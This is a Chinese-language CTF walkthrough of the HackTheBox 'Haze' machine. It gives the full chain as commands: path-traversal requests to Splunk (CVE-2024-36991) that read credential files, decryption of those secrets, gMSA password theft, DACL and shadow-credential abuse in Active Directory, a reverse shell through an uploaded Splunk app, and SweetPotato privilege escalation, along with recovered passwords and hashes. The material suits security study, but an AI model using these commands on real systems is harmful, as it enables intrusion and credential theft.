USER

nmap -T4 -v -A -Pn 10.10.11.61 -oN haze.txt

port 8000

splunk 一个大数据平台的登录页面

CVE-2024-36991

对于 splunk 有漏洞CVE-2024-36991

https://github.com/bigb0x/CVE-2024-36991

python CVE-2024-36991.py -u http://haze.htb:8000

但是这个 hash 没有办法破解

因为默认查看passwd 文件,所以可以查看一下 payload,根据 payload 来读取一下其他的文件

对于 splunk 的配置文件有 server.conf、authentication.conf

https://docs.splunk.com/Documentation/Splunk/9.4.1/Troubleshooting/WhatSplunklogsaboutitself#Configuration_Change_Tracker

https://docs.splunk.com/Documentation/Splunk/9.4.1/Security/Editauthenticationconf

可以这样构造

curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf
curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf

得到密码,但是这个 splunk 密码需要特定工具解密

https://github.com/HurricaneLabs/splunksecrets

使用查看会需要一个 splunk-secret 文件,应该是这个文件的内容,我们读取后保存为 hash

curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"

然后使用splunksecrets 解密

splunksecrets splunk-decrypt -S hash

Ld@p_Auth_Sp1unk@2k24

在authentication.conf 文件里面,我们可以看到 Paul Taylor 这个用户名,测试一下

nxc smb dc01.haze.htb -u paul.taylor -p "Ld@p_Auth_Sp1unk@2k24"

可以成功,跑一下其他用户

nxc smb dc01.haze.htb -u paul.taylor -p "Ld@p_Auth_Sp1unk@2k24" --rid-brute

测试发现除了paul.taylor、还有mark.adams

nxc smb dc01.haze.htb -u user.txt -p "Ld@p_Auth_Sp1unk@2k24" --continue-on-success

mark.adams 可以成功 evil-winrm 连接

在 c:\ 目录下有一个 backups 目录,但是无法访问,应该需要 Haze-IT-Backup$用户

远程下载SharpHound.exe,跑一下 bloodhound

然后下载 zip 到本地

gMSA_Managers

我们可以看到mark.adams 属于 gMSA_Managers 组

授予mark.adams 检索 Haze-IT-Backup$ 密码的权限,然后使用GMSAPasswordReader 读取

https://github.com/rvazarkar/GMSAPasswordReader

Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword mark.adams
./GMSAPasswordReader --AccountName Haze-IT-Backup

735C02C6B2DC54C3C8C6891F55279EBC

申请 Haze-IT-Backup$ 的TGT

impacket-getTGT haze.htb/haze-it-backup\$ -hashes :735c02c6b2dc54c3c8c6891f55279ebc
export KRB5CCNAME=haze-it-backup\$.ccache

Haze-IT-Backup$的身份再跑一遍 bloodhound

bloodhound-python -d haze.htb -u 'haze-it-backup$' -c All --kerberos -ns 10.10.11.61 --zip

Shadow Cred

可以看到Haze-IT-Backup$属于 support_services 组,然后对 edward.martinaddkeycredentialink 权限,可以使用影子凭证

授予 Haze-IT-Backup$ 用户 WriteMembers 权限

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -target 'support_services' 'haze.htb'/'Haze-IT-Backup$' -k -no-pass -dc-ip 10.10.11.61 

Haze-IT-Backup$ 加入到SUPPORT_SERVICES

python bloodyAD.py --host "10.10.11.61" -d "haze.htb" -u 'Haze-IT-Backup$' -p ":735C02C6B2DC54C3C8C6891F55279EBC" -f rc4 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

修改目标对象的 msDS-KeyCredentialLink 属性来生成并存储与目标相关的证书和密钥

python pywhisker.py -d "haze.htb" -u "Haze-IT-Backup$" -H ':735C02C6B2DC54C3C8C6891F55279EBC' --target edward.martin --action add

QQZpLoBz.pfx

3rMq3jg0LsyBbzLXnaWu

gettgtpkinit.py获取 tgt

python gettgtpkinit.py -cert-pfx QQZpLoBz.pfx -pfx-pass 3rMq3jg0LsyBbzLXnaWu haze.htb/edward.martin cxk.ccache

aed06f0b75403c642dc4ba7b73d9d45e455f0c1c676db2be13d83b7e368afd58

导入环境变量,再getnthash.py恢复 nt hash

python getnthash.py -key aed06f0b75403c642dc4ba7b73d9d45e455f0c1c676db2be13d83b7e368afd58 haze.htb/edward.martin

evil-winrm 连接后就可以看到 user.txt 了

ROOT

Backups

我们到C:\backups\splunk 目录下可以看到一个备份文件,下载下来

Splunk/var/run/splunk/confsnapshot/baseline_local/system/local这个目录下的authentication.conf文件我们可以看到一个新的凭证,而且它属于 splunk_admin

还是用原来的方法解密,重新在Splunk/etc/auth/splunk.secret找到新的splunk.secret文件

破解出密码

Sp1unkadmin@2k24

reverse_shell_splunk

我们可以依靠这个密码进入 web 后台,用户名就是默认 admin

进入后台之后,可以通过这个项目反弹 splunk 的 shell 回来

https://www.n00py.io/2018/10/popping-shells-on-splunk

https://github.com/0xjpuff/reverse_shell_splunk

修改 ip 和 port 之后压缩为 tgz 文件再修改为 spl

再 web 上上传应用,本地监听

收到alexander.green 用户的 shell

Sweet Potato

whoami /all 查看的时候发现了有SeImpersonatePrivilege 权限

JuicyPotato 就是依靠这个来进行提权,我们可以使用重写的Sweet Potato 来提权

https://github.com/uknowsec/SweetPotato

把Sweet Potato 传到alexander.green的 shell 上

然后运行直接查看 root.txt

./SweetPotato.exe -a 'type C:\Users\Administrator\Desktop\root.txt

"The quieter you become, the more you are able to hear."